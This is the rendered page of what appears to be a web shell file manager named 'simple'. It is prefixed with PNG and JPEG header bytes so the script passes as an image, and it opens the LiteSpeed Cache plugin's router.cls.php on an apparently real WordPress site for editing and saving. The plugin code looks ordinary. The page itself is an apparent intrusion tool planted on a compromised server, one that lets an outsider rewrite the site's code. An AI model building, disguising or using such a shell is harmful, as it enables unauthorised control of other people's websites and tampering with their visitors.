�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Flitespeed-cache%2F'>litespeed-cache</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Flitespeed-cache%2Fsrc%2F'>src</a>/</p><hr><h3>✏️ Editing: router.cls.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
// phpcs:ignoreFile

/**
 * The core plugin router class.
 *
 * This generate the valid action.
 *
 * @since       1.1.0
 */

namespace LiteSpeed;

defined(&#039;WPINC&#039;) || exit();

class Router extends Base {

	const LOG_TAG = &#039;[Router]&#039;;

	const NONCE  = &#039;LSCWP_NONCE&#039;;
	const ACTION = &#039;LSCWP_CTRL&#039;;

	const ACTION_SAVE_SETTINGS_NETWORK = &#039;save-settings-network&#039;;
	const ACTION_DB_OPTM               = &#039;db_optm&#039;;
	const ACTION_PLACEHOLDER           = &#039;placeholder&#039;;
	const ACTION_AVATAR                = &#039;avatar&#039;;
	const ACTION_SAVE_SETTINGS         = &#039;save-settings&#039;;
	const ACTION_CLOUD                 = &#039;cloud&#039;;
	const ACTION_IMG_OPTM              = &#039;img_optm&#039;;
	const ACTION_HEALTH                = &#039;health&#039;;
	const ACTION_CRAWLER               = &#039;crawler&#039;;
	const ACTION_PURGE                 = &#039;purge&#039;;
	const ACTION_CONF                  = &#039;conf&#039;;
	const ACTION_ACTIVATION            = &#039;activation&#039;;
	const ACTION_CSS                   = &#039;css&#039;;
	const ACTION_UCSS                  = &#039;ucss&#039;;
	const ACTION_VPI                   = &#039;vpi&#039;;
	const ACTION_OPTIMAX               = &#039;optimax&#039;;
	const ACTION_PRESET                = &#039;preset&#039;;
	const ACTION_IMPORT                = &#039;import&#039;;
	const ACTION_REPORT                = &#039;report&#039;;
	const ACTION_DEBUG2                = &#039;debug2&#039;;
	const ACTION_CDN_CLOUDFLARE        = &#039;CDN\Cloudflare&#039;;
	const ACTION_ADMIN_DISPLAY         = &#039;admin_display&#039;;
	const ACTION_GUEST                 = &#039;guest&#039;;
	const ACTION_MEDIA                 = &#039;media&#039;;
	const ACTION_TMP_DISABLE          = &#039;tmp_disable&#039;;

	// List all handlers here
	private static $_HANDLERS = array(
		self::ACTION_ADMIN_DISPLAY,
		self::ACTION_ACTIVATION,
		self::ACTION_AVATAR,
		self::ACTION_CDN_CLOUDFLARE,
		self::ACTION_CLOUD,
		self::ACTION_CONF,
		self::ACTION_CRAWLER,
		self::ACTION_CSS,
		self::ACTION_UCSS,
		self::ACTION_VPI,
		self::ACTION_OPTIMAX,
		self::ACTION_DB_OPTM,
		self::ACTION_DEBUG2,
		self::ACTION_GUEST,
		self::ACTION_HEALTH,
		self::ACTION_IMG_OPTM,
		self::ACTION_MEDIA,
		self::ACTION_PRESET,
		self::ACTION_IMPORT,
		self::ACTION_PLACEHOLDER,
		self::ACTION_PURGE,
		self::ACTION_REPORT,
	);

	const TYPE = &#039;litespeed_type&#039;;

	const ITEM_HASH       = &#039;hash&#039;;
	const ITEM_FLASH_HASH = &#039;flash_hash&#039;;

	private static $_esi_enabled;
	private static $_is_ajax;
	private static $_is_logged_in;
	private static $_ip;
	private static $_action;
	private static $_is_admin_ip;
	private static $_frontend_path;

	/**
	 * Redirect to self to continue operation
	 *
	 * Note: must return when use this func. CLI/Cron call won&#039;t die in this func.
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function self_redirect( $action, $type ) {
		if (defined(&#039;LITESPEED_CLI&#039;) || wp_doing_cron()) {
			Admin_Display::success(&#039;To be continued&#039;); // Show for CLI
			return;
		}

		// Add i to avoid browser too many redirected warning
		$i = !empty($_GET[&#039;litespeed_i&#039;]) ? $_GET[&#039;litespeed_i&#039;] : 0;
		++$i;

		$link = Utility::build_url($action, $type, false, null, array( &#039;litespeed_i&#039; =&gt; $i ));

		$url = html_entity_decode($link);
		exit(&quot;&lt;meta http-equiv=&#039;refresh&#039; content=&#039;0;url=$url&#039;&gt;&quot;);
	}

	/**
	 * Check if can run optimize
	 *
	 * @since  1.3
	 * @since  2.3.1 Relocated from cdn.cls
	 * @access public
	 */
	public function can_optm() {
		$can = true;

		if (is_user_logged_in() &amp;&amp; $this-&gt;conf(self::O_OPTM_GUEST_ONLY)) {
			$can = false;
		} elseif (is_admin()) {
			$can = false;
		} elseif (is_feed()) {
			$can = false;
		} elseif (is_preview()) {
			$can = false;
		} elseif (self::is_ajax()) {
			$can = false;
		}

		if (self::_is_login_page()) {
			Debug2::debug(&#039;[Router] Optm bypassed: login/reg page&#039;);
			$can = false;
		}

		$can_final = apply_filters(&#039;litespeed_can_optm&#039;, $can);

		if ($can_final != $can) {
			Debug2::debug(&#039;[Router] Optm bypassed: filter&#039;);
		}

		return $can_final;
	}

	/**
	 * Check referer page to see if its from admin
	 *
	 * @since 2.4.2.1
	 * @access public
	 */
	public static function from_admin() {
		return !empty($_SERVER[&#039;HTTP_REFERER&#039;]) &amp;&amp; strpos($_SERVER[&#039;HTTP_REFERER&#039;], get_admin_url()) === 0;
	}

	/**
	 * Check if it can use CDN replacement
	 *
	 * @since  1.2.3
	 * @since  2.3.1 Relocated from cdn.cls
	 * @access public
	 */
	public static function can_cdn() {
		$can = true;

		if (is_admin()) {
			if (!self::is_ajax()) {
				Debug2::debug2(&#039;[Router] CDN bypassed: is not ajax call&#039;);
				$can = false;
			}

			if (self::from_admin()) {
				Debug2::debug2(&#039;[Router] CDN bypassed: ajax call from admin&#039;);
				$can = false;
			}
		} elseif (is_feed()) {
			$can = false;
		} elseif (is_preview()) {
			$can = false;
		}

		/**
		 * Bypass cron to avoid deregister jq notice `Do not deregister the &lt;code&gt;jquery-core&lt;/code&gt; script in the administration area.`
		 *
		 * @since  2.7.2
		 */
		if (wp_doing_cron()) {
			$can = false;
		}

		/**
		 * Bypass login/reg page
		 *
		 * @since  1.6
		 */
		if (self::_is_login_page()) {
			Debug2::debug(&#039;[Router] CDN bypassed: login/reg page&#039;);
			$can = false;
		}

		/**
		 * Bypass post/page link setting
		 *
		 * @since 2.9.8.5
		 */
		$rest_prefix = function_exists(&#039;rest_get_url_prefix&#039;) ? rest_get_url_prefix() : apply_filters(&#039;rest_url_prefix&#039;, &#039;wp-json&#039;);
		if (
			!empty($_SERVER[&#039;REQUEST_URI&#039;]) &amp;&amp;
			REST::str_hit_uri($_SERVER[&#039;REQUEST_URI&#039;], [$rest_prefix . &#039;/wp/v2/media&#039;]) &amp;&amp;
			isset($_SERVER[&#039;HTTP_REFERER&#039;]) &amp;&amp;
			strpos($_SERVER[&#039;HTTP_REFERER&#039;], &#039;wp-admin&#039;) !== false
		) {
			Debug2::debug(&#039;[Router] CDN bypassed: wp-json on admin page&#039;);
			$can = false;
		}

		$can_final = apply_filters(&#039;litespeed_can_cdn&#039;, $can);

		if ($can_final != $can) {
			Debug2::debug(&#039;[Router] CDN bypassed: filter&#039;);
		}

		return $can_final;
	}

	/**
	 * Check if is login page or not
	 *
	 * @since  2.3.1
	 * @access protected
	 */
	protected static function _is_login_page() {
		if (in_array($GLOBALS[&#039;pagenow&#039;], array( &#039;wp-login.php&#039;, &#039;wp-register.php&#039; ), true)) {
			return true;
		}

		return false;
	}

	/**
	 * UCSS/Crawler role simulator
	 *
	 * @since  1.9.1
	 * @since  3.3 Renamed from `is_crawler_role_simulation`
	 */
	public function is_role_simulation() {
		if (is_admin()) {
			return;
		}

		if (empty($_COOKIE[&#039;litespeed_hash&#039;]) &amp;&amp; empty($_COOKIE[&#039;litespeed_flash_hash&#039;])) {
			return;
		}

		self::debug(&#039;🪪 starting role validation&#039;);

		// Check if is from crawler
		// if ( empty( $_SERVER[ &#039;HTTP_USER_AGENT&#039; ] ) || strpos( $_SERVER[ &#039;HTTP_USER_AGENT&#039; ], Crawler::FAST_USER_AGENT ) !== 0 ) {
		// Debug2::debug( &#039;[Router] user agent not match&#039; );
		// return;
		// }
		$server_ip = $this-&gt;conf(self::O_SERVER_IP);
		if (!$server_ip || self::get_ip() !== $server_ip) {
			self::debug(&#039;❌❌ Role simulate uid denied! Not localhost visit!&#039;);
			Control::set_nocache(&#039;Role simulate uid denied&#039;);
			return;
		}

		// Flash hash validation
		if (!empty($_COOKIE[&#039;litespeed_flash_hash&#039;])) {
			$hash_data = self::get_option(self::ITEM_FLASH_HASH, array());
			if ($hash_data &amp;&amp; is_array($hash_data) &amp;&amp; !empty($hash_data[&#039;hash&#039;]) &amp;&amp; !empty($hash_data[&#039;ts&#039;]) &amp;&amp; !empty($hash_data[&#039;uid&#039;])) {
				if (time() - $hash_data[&#039;ts&#039;] &lt; 120 &amp;&amp; $_COOKIE[&#039;litespeed_flash_hash&#039;] == $hash_data[&#039;hash&#039;]) {
					self::debug(&#039;🪪 Role simulator flash hash matched, escalating user to be uid=&#039; . $hash_data[&#039;uid&#039;]);
					self::delete_option(self::ITEM_FLASH_HASH);
					wp_set_current_user($hash_data[&#039;uid&#039;]);
					return;
				}
			}
		}
		// Hash validation
		if (!empty($_COOKIE[&#039;litespeed_hash&#039;])) {
			$hash_data = self::get_option(self::ITEM_HASH, array());
			if ($hash_data &amp;&amp; is_array($hash_data) &amp;&amp; !empty($hash_data[&#039;hash&#039;]) &amp;&amp; !empty($hash_data[&#039;ts&#039;]) &amp;&amp; !empty($hash_data[&#039;uid&#039;])) {
				$RUN_DURATION = $this-&gt;cls(&#039;Crawler&#039;)-&gt;get_crawler_duration();
				if (time() - $hash_data[&#039;ts&#039;] &lt; $RUN_DURATION &amp;&amp; $_COOKIE[&#039;litespeed_hash&#039;] == $hash_data[&#039;hash&#039;]) {
					self::debug(&#039;🪪 Role simulator hash matched, escalating user to be uid=&#039; . $hash_data[&#039;uid&#039;]);
					wp_set_current_user($hash_data[&#039;uid&#039;]);
					return;
				}
			}
		}

		self::debug(&#039;❌ WARNING: role simulator hash not match&#039;);
	}

	/**
	 * Get a short ttl hash (2mins)
	 *
	 * @since  6.4
	 */
	public function get_flash_hash( $uid ) {
		$hash_data = self::get_option(self::ITEM_FLASH_HASH, array());
		if ($hash_data &amp;&amp; is_array($hash_data) &amp;&amp; !empty($hash_data[&#039;hash&#039;]) &amp;&amp; !empty($hash_data[&#039;ts&#039;])) {
			if (time() - $hash_data[&#039;ts&#039;] &lt; 60) {
				return $hash_data[&#039;hash&#039;];
			}
		}

		// Check if this user has editor access or not
		if (user_can($uid, &#039;edit_posts&#039;)) {
			self::debug(&#039;🛑 The user with id &#039; . $uid . &#039; has editor access, which is not allowed for the role simulator.&#039;);
			return &#039;&#039;;
		}

		$hash = Str::rrand(32);
		self::update_option(self::ITEM_FLASH_HASH, array(
			&#039;hash&#039; =&gt; $hash,
			&#039;ts&#039; =&gt; time(),
			&#039;uid&#039; =&gt; $uid,
		));
		return $hash;
	}

	/**
	 * Get a security hash
	 *
	 * @since  3.3
	 */
	public function get_hash( $uid ) {
		// Check if this user has editor access or not
		if (user_can($uid, &#039;edit_posts&#039;)) {
			self::debug(&#039;🛑 The user with id &#039; . $uid . &#039; has editor access, which is not allowed for the role simulator.&#039;);
			return &#039;&#039;;
		}

		// As this is called only when starting crawling, not per page, no need to reuse
		$hash = Str::rrand(32);
		self::update_option(self::ITEM_HASH, array(
			&#039;hash&#039; =&gt; $hash,
			&#039;ts&#039; =&gt; time(),
			&#039;uid&#039; =&gt; $uid,
		));
		return $hash;
	}

	/**
	 * Get user role
	 *
	 * @since  1.6.2
	 */
	public static function get_role( $uid = null ) {
		if (defined(&#039;LITESPEED_WP_ROLE&#039;)) {
			return LITESPEED_WP_ROLE;
		}

		if ($uid === null) {
			$uid = get_current_user_id();
		}

		$role = false;
		if ($uid) {
			$user = get_userdata($uid);
			if (isset($user-&gt;roles) &amp;&amp; is_array($user-&gt;roles)) {
				$tmp  = array_values($user-&gt;roles);
				$role = implode(&#039;,&#039;, $tmp); // Combine for PHP5.3 const compatibility
			}
		}
		Debug2::debug(&#039;[Router] get_role: &#039; . $role);

		if (!$role) {
			return $role;
			// Guest user
			Debug2::debug(&#039;[Router] role: guest&#039;);

			/**
			 * Fix double login issue
			 * The previous user init refactoring didn&#039;t fix this bcos this is in login process and the user role could change
			 *
			 * @see  https://github.com/litespeedtech/lscache_wp/commit/69e7bc71d0de5cd58961bae953380b581abdc088
			 * @since  2.9.8 Won&#039;t assign const if in login process
			 */
			if (substr_compare(wp_login_url(), $GLOBALS[&#039;pagenow&#039;], -strlen($GLOBALS[&#039;pagenow&#039;])) === 0) {
				return $role;
			}
		}

		define(&#039;LITESPEED_WP_ROLE&#039;, $role);

		return LITESPEED_WP_ROLE;
	}

	/**
	 * Get frontend path
	 *
	 * @since 1.2.2
	 * @access public
	 * @return boolean
	 */
	public static function frontend_path() {
		// todo: move to htaccess.cls ?
		if (!isset(self::$_frontend_path)) {
			$frontend = rtrim(ABSPATH, &#039;/&#039;); // /home/user/public_html/frontend
			// get home path failed. Trac ticket #37668 (e.g. frontend:/blog backend:/wordpress)
			if (!$frontend) {
				Debug2::debug(&#039;[Router] No ABSPATH, generating from home option&#039;);
				$frontend = parse_url(get_option(&#039;home&#039;));
				$frontend = !empty($frontend[&#039;path&#039;]) ? $frontend[&#039;path&#039;] : &#039;&#039;;
				$frontend = $_SERVER[&#039;DOCUMENT_ROOT&#039;] . $frontend;
			}
			$frontend = realpath($frontend);

			self::$_frontend_path = $frontend;
		}
		return self::$_frontend_path;
	}

	/**
	 * Check if ESI is enabled or not
	 *
	 * @since 1.2.0
	 * @access public
	 * @return boolean
	 */
	public function esi_enabled() {
		if (!isset(self::$_esi_enabled)) {
			self::$_esi_enabled = defined(&#039;LITESPEED_ON&#039;) &amp;&amp; $this-&gt;conf(self::O_ESI);
			if (!empty($_REQUEST[self::ACTION])) {
				self::$_esi_enabled = false;
			}
		}
		return self::$_esi_enabled;
	}

	/**
	 * Check if crawler is enabled on server level
	 *
	 * @since 1.1.1
	 * @access public
	 */
	public static function can_crawl() {
		if (isset($_SERVER[&#039;X-LSCACHE&#039;]) &amp;&amp; strpos($_SERVER[&#039;X-LSCACHE&#039;], &#039;crawler&#039;) === false) {
			return false;
		}

		// CLI will bypass this check as crawler library can always do the 428 check
		if (defined(&#039;LITESPEED_CLI&#039;)) {
			return true;
		}

		return true;
	}

	/**
	 * Check action
	 *
	 * @since 1.1.0
	 * @access public
	 * @return string
	 */
	public static function get_action() {
		if (!isset(self::$_action)) {
			self::$_action = false;
			self::cls()-&gt;verify_action();
			if (self::$_action) {
				defined(&#039;LSCWP_LOG&#039;) &amp;&amp; Debug2::debug(&#039;[Router] LSCWP_CTRL verified: &#039; . var_export(self::$_action, true));
			}
		}
		return self::$_action;
	}

	/**
	 * Check if is logged in
	 *
	 * @since 1.1.3
	 * @access public
	 * @return boolean
	 */
	public static function is_logged_in() {
		if (!isset(self::$_is_logged_in)) {
			self::$_is_logged_in = is_user_logged_in();
		}
		return self::$_is_logged_in;
	}

	/**
	 * Check if is ajax call
	 *
	 * @since 1.1.0
	 * @access public
	 * @return boolean
	 */
	public static function is_ajax() {
		if (!isset(self::$_is_ajax)) {
			self::$_is_ajax = wp_doing_ajax();
		}
		return self::$_is_ajax;
	}

	/**
	 * Check if is admin ip
	 *
	 * @since 1.1.0
	 * @access public
	 * @return boolean
	 */
	public function is_admin_ip() {
		if (!isset(self::$_is_admin_ip)) {
			$ips = $this-&gt;conf(self::O_DEBUG_IPS);

			self::$_is_admin_ip = $this-&gt;ip_access($ips);
		}
		return self::$_is_admin_ip;
	}

	/**
	 * Get type value
	 *
	 * @since 1.6
	 * @access public
	 */
	public static function verify_type() {
		if (empty($_REQUEST[self::TYPE])) {
			Debug2::debug(&#039;[Router] no type&#039;, 2);
			return false;
		}

		Debug2::debug(&#039;[Router] parsed type: &#039; . $_REQUEST[self::TYPE], 2);

		return $_REQUEST[self::TYPE];
	}

	/**
	 * Check privilege and nonce for the action
	 *
	 * @since 1.1.0
	 * @access private
	 */
	private function verify_action() {
		if (empty($_REQUEST[self::ACTION])) {
			Debug2::debug2(&#039;[Router] LSCWP_CTRL bypassed empty&#039;);
			return;
		}

		$action = stripslashes($_REQUEST[self::ACTION]);

		if (!$action) {
			return;
		}

		$_is_public_action = false;

		// Each action must have a valid nonce unless its from admin ip and is public action
		// Validate requests nonce (from admin logged in page or cli)
		if (!$this-&gt;verify_nonce($action)) {
			// check if it is from admin ip
			if (!$this-&gt;is_admin_ip()) {
				Debug2::debug(&#039;[Router] LSCWP_CTRL query string - did not match admin IP: &#039; . $action);
				return;
			}

			// check if it is public action
			if (
				!in_array($action, array(
					Core::ACTION_QS_NOCACHE,
					Core::ACTION_QS_PURGE,
					Core::ACTION_QS_PURGE_SINGLE,
					Core::ACTION_QS_SHOW_HEADERS,
					Core::ACTION_QS_PURGE_ALL,
					Core::ACTION_QS_PURGE_EMPTYCACHE,
				))
			) {
				Debug2::debug(&#039;[Router] LSCWP_CTRL query string - did not match admin IP Actions: &#039; . $action);
				return;
			}

			if (apply_filters(&#039;litespeed_qs_forbidden&#039;, false)) {
				Debug2::debug(&#039;[Router] LSCWP_CTRL forbidden by hook litespeed_qs_forbidden&#039;);
				return;
			}

			$_is_public_action = true;
		}

		/* Now it is a valid action, lets log and check the permission */
		Debug2::debug(&#039;[Router] LSCWP_CTRL: &#039; . $action);

		// OK, as we want to do something magic, lets check if its allowed
		$_is_multisite       = is_multisite();
		$_is_network_admin   = $_is_multisite &amp;&amp; is_network_admin();
		$_can_network_option = $_is_network_admin &amp;&amp; current_user_can(&#039;manage_network_options&#039;);
		$_can_option         = current_user_can(&#039;manage_options&#039;);

		switch ($action) {
			case self::ACTION_TMP_DISABLE: // Disable LSC for 24H
				Debug2::tmp_disable();
				Admin::redirect(&quot;?page=litespeed-toolbox#settings-debug&quot;);
				return;

			case self::ACTION_SAVE_SETTINGS_NETWORK: // Save network settings
            if ($_can_network_option) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_PURGE_BY:
            if (defined(&#039;LITESPEED_ON&#039;) &amp;&amp; ($_can_network_option || $_can_option || self::is_ajax())) {
					// here may need more security
					self::$_action = $action;
				}
				return;

			case self::ACTION_DB_OPTM:
            if ($_can_network_option || $_can_option) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_PURGE_EMPTYCACHE: // todo: moved to purge.cls type action
            if ((defined(&#039;LITESPEED_ON&#039;) || $_is_network_admin) &amp;&amp; ($_can_network_option || (!$_is_multisite &amp;&amp; $_can_option))) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_QS_NOCACHE:
			case Core::ACTION_QS_PURGE:
			case Core::ACTION_QS_PURGE_SINGLE:
			case Core::ACTION_QS_SHOW_HEADERS:
			case Core::ACTION_QS_PURGE_ALL:
			case Core::ACTION_QS_PURGE_EMPTYCACHE:
            if (defined(&#039;LITESPEED_ON&#039;) &amp;&amp; ($_is_public_action || self::is_ajax())) {
					self::$_action = $action;
				}
				return;

			case self::ACTION_ADMIN_DISPLAY:
			case self::ACTION_PLACEHOLDER:
			case self::ACTION_AVATAR:
			case self::ACTION_IMG_OPTM:
			case self::ACTION_MEDIA:
			case self::ACTION_CLOUD:
			case self::ACTION_CDN_CLOUDFLARE:
			case self::ACTION_CRAWLER:
			case self::ACTION_GUEST:
			case self::ACTION_PRESET:
			case self::ACTION_IMPORT:
			case self::ACTION_REPORT:
			case self::ACTION_CSS:
			case self::ACTION_UCSS:
			case self::ACTION_VPI:
			case self::ACTION_OPTIMAX:
			case self::ACTION_CONF:
			case self::ACTION_ACTIVATION:
			case self::ACTION_HEALTH:
			case self::ACTION_SAVE_SETTINGS: // Save settings
            if ($_can_option &amp;&amp; !$_is_network_admin) {
					self::$_action = $action;
				}
				return;

			case self::ACTION_PURGE:
			case self::ACTION_DEBUG2:
            if ($_can_network_option || $_can_option) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_DISMISS:
            /**
             * Non ajax call can dismiss too
             *
             * @since  2.9
             */
            // if ( self::is_ajax() ) {
            self::$_action = $action;
            // }
				return;

			default:
            Debug2::debug(&#039;[Router] LSCWP_CTRL match failed: &#039; . $action);
				return;
		}
	}

	/**
	 * Verify nonce
	 *
	 * @since 1.1.0
	 * @access public
	 * @param  string $action
	 * @return bool
	 */
	public function verify_nonce( $action ) {
		if (!isset($_REQUEST[self::NONCE]) || !wp_verify_nonce($_REQUEST[self::NONCE], $action)) {
			return false;
		} else {
			return true;
		}
	}

	/**
	 * Check if the ip is in the range
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function ip_access( $ip_list ) {
		if (!$ip_list) {
			return false;
		}
		if (!isset(self::$_ip)) {
			self::$_ip = self::get_ip();
		}

		if (!self::$_ip) {
			return false;
		}
		// $uip = explode(&#039;.&#039;, $_ip);
		// if(empty($uip) || count($uip) != 4) Return false;
		// foreach($ip_list as $key =&gt; $ip) $ip_list[$key] = explode(&#039;.&#039;, trim($ip));
		// foreach($ip_list as $key =&gt; $ip) {
		// if(count($ip) != 4) continue;
		// for($i = 0; $i &lt;= 3; $i++) if($ip[$i] == &#039;*&#039;) $ip_list[$key][$i] = $uip[$i];
		// }
		return in_array(self::$_ip, $ip_list);
	}

	/**
	 * Get client ip
	 *
	 * @since 1.1.0
	 * @since  1.6.5 changed to public
	 * @access public
	 * @return string
	 */
	public static function get_ip() {
		$_ip = &#039;&#039;;
		// if ( function_exists( &#039;apache_request_headers&#039; ) ) {
		// $apache_headers = apache_request_headers();
		// $_ip = ! empty( $apache_headers[&#039;True-Client-IP&#039;] ) ? $apache_headers[&#039;True-Client-IP&#039;] : false;
		// if ( ! $_ip ) {
		// $_ip = ! empty( $apache_headers[&#039;X-Forwarded-For&#039;] ) ? $apache_headers[&#039;X-Forwarded-For&#039;] : false;
		// $_ip = explode( &#039;,&#039;, $_ip );
		// $_ip = $_ip[ 0 ];
		// }

		// }

		if (!$_ip) {
			$_ip = !empty($_SERVER[&#039;REMOTE_ADDR&#039;]) ? $_SERVER[&#039;REMOTE_ADDR&#039;] : false;
		}
		return $_ip;
	}

	/**
	 * Check if opcode cache is enabled
	 *
	 * @since  1.8.2
	 * @access public
	 */
	public static function opcache_enabled() {
		return function_exists(&#039;opcache_reset&#039;) &amp;&amp; ini_get(&#039;opcache.enable&#039;);
	}

	/**
	 * Check if opcode cache is restricted and file that is requesting.
	 * https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.restrict-api
	 *
	 * @since  7.3
	 * @access public
	 */
	public static function opcache_restricted($file)
	{
		$restrict_value = ini_get(&#039;opcache.restrict_api&#039;);
		if ($restrict_value) {
			if ( !$file || false === strpos($restrict_value, $file) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Handle static files
	 *
	 * @since  3.0
	 */
	public function serve_static() {
		if (!empty($_SERVER[&#039;SCRIPT_URI&#039;])) {
			if (strpos($_SERVER[&#039;SCRIPT_URI&#039;], LITESPEED_STATIC_URL . &#039;/&#039;) !== 0) {
				return;
			}
			$path = substr($_SERVER[&#039;SCRIPT_URI&#039;], strlen(LITESPEED_STATIC_URL . &#039;/&#039;));
		} elseif (!empty($_SERVER[&#039;REQUEST_URI&#039;])) {
			$static_path = parse_url(LITESPEED_STATIC_URL, PHP_URL_PATH) . &#039;/&#039;;
			if (strpos($_SERVER[&#039;REQUEST_URI&#039;], $static_path) !== 0) {
				return;
			}
			$path = substr(parse_url($_SERVER[&#039;REQUEST_URI&#039;], PHP_URL_PATH), strlen($static_path));
		} else {
			return;
		}

		$path = explode(&#039;/&#039;, $path, 2);

		if (empty($path[0]) || empty($path[1])) {
			return;
		}

		switch ($path[0]) {
			case &#039;avatar&#039;:
            $this-&gt;cls(&#039;Avatar&#039;)-&gt;serve_static($path[1]);
				break;

			case &#039;localres&#039;:
            $this-&gt;cls(&#039;Localization&#039;)-&gt;serve_static($path[1]);
				break;

			default:
				break;
		}
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * This is different than other handlers
	 *
	 * @since  3.0
	 * @access public
	 */
	public function handler( $cls ) {
		if (!in_array($cls, self::$_HANDLERS)) {
			return;
		}

		return $this-&gt;cls($cls)-&gt;handler();
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Flitespeed-cache%2Fsrc'>🔙 Back</a></p>